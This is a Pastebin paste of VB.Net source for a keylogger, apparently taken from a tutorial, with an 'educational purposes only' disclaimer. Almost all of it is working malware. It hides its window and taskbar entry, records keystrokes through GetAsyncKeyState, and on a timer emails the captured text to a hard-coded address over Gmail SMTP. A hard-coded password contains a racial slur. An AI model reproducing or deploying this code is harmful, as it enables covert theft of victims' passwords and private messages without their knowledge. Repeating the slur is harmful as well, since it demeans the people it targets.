calfred2808

emaillogger

Jun 24th, 2018
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'Email sending keylogger in VB.Net
  2. 'This program is created for educational purposes only. Any misconduct and potential legal actions
  3. 'is placed upon ones' self and I face no liability for your actions
  4. 'Created by Logan Poynter - 11/25/15
  5. 'Byte of Tech Channel
  6.  
  7.  
  8. 'Making our program not show errors to the user
  9. Option Strict On
  10. 'Importing the Mail functions into our program
  11. Imports System.Net.Mail
  12.  
  13. Public Class Form1
  14.     'Allowing ourselves access to gather keystroke data
  15.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
  16.     Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
  17.         Try
  18.             'Configuring our SMTP settings; these will change based upon your email provider
  19.             'Simply Google your email host for the SMTP settings
  20.             Dim smtpserver As New SmtpClient
  21.             smtpserver.EnableSsl = True
  22.             smtpserver.Credentials = New Net.NetworkCredential("[email protected]", "oneniggerhackedme")
  23.             smtpserver.Port = 587
  24.             smtpserver.Host = "smtp.gmail.com"
  25.             'Configuring our email message
  26.             Dim mail As New MailMessage
  27.             mail = New MailMessage
  28.             mail.From = New MailAddress("[email protected]", "Key Logger")
  29.             mail.To.Add("[email protected]")
  30.             mail.Subject = ("New Key Log Data")
  31.             mail.Body = txtLogs.Text
  32.             smtpserver.Send(mail)
  33.  
  34.         Catch ex As Exception
  35.             Me.Close()
  36.         End Try
  37.     End Sub
  38.  
  39.     'Keylogger portion of the code
  40.     Private Sub tmrKey_Tick(sender As Object, e As EventArgs) Handles tmrKey.Tick
  41.         Dim result As Integer
  42.         Dim key As String
  43.         Dim i As Integer
  44.         'For statement to get our keystrokes
  45.         For i = 2 To 90
  46.             result = 0
  47.             result = GetAsyncKeyState(i)
  48.  
  49.             If result = -32767 Then
  50.                 key = Chr(i)
  51.                 If i = 13 Then key = vbNewLine
  52.                 Exit For
  53.             End If
  54.         Next i
  55.         'Determining if the user is typing in upper or lower case font
  56.         If key <> Nothing Then
  57.             If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
  58.                 txtLogs.Text &= key
  59.             Else
  60.                 txtLogs.Text &= key.ToLower
  61.             End If
  62.         End If
  63.         'How the user can set the visibiity of the program to true
  64.         If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then
  65.             Me.Visible = True
  66.         End If
  67.     End Sub
  68.  
  69.     'Notification that the logger has been stopped
  70.     Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
  71.         txtLogs.Text &= vbNewLine & "Keylogger has been stopped at: " & Now & vbNewLine
  72.     End Sub
  73.  
  74.  
  75.     'Making our program invisible
  76.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
  77.         Me.ShowIcon = False
  78.         Me.ShowInTaskbar = False
  79.         Me.Visible = False
  80.         txtLogs.Text &= vbNewLine & "Keylogger started at: " & Now & vbNewLine
  81.     End Sub
  82.  
  83.     Private Sub txtLogs_TextChanged(sender As Object, e As EventArgs) Handles txtLogs.TextChanged
  84.  
  85.     End Sub
  86. End Class
Add Comment
Please, Sign In to add comment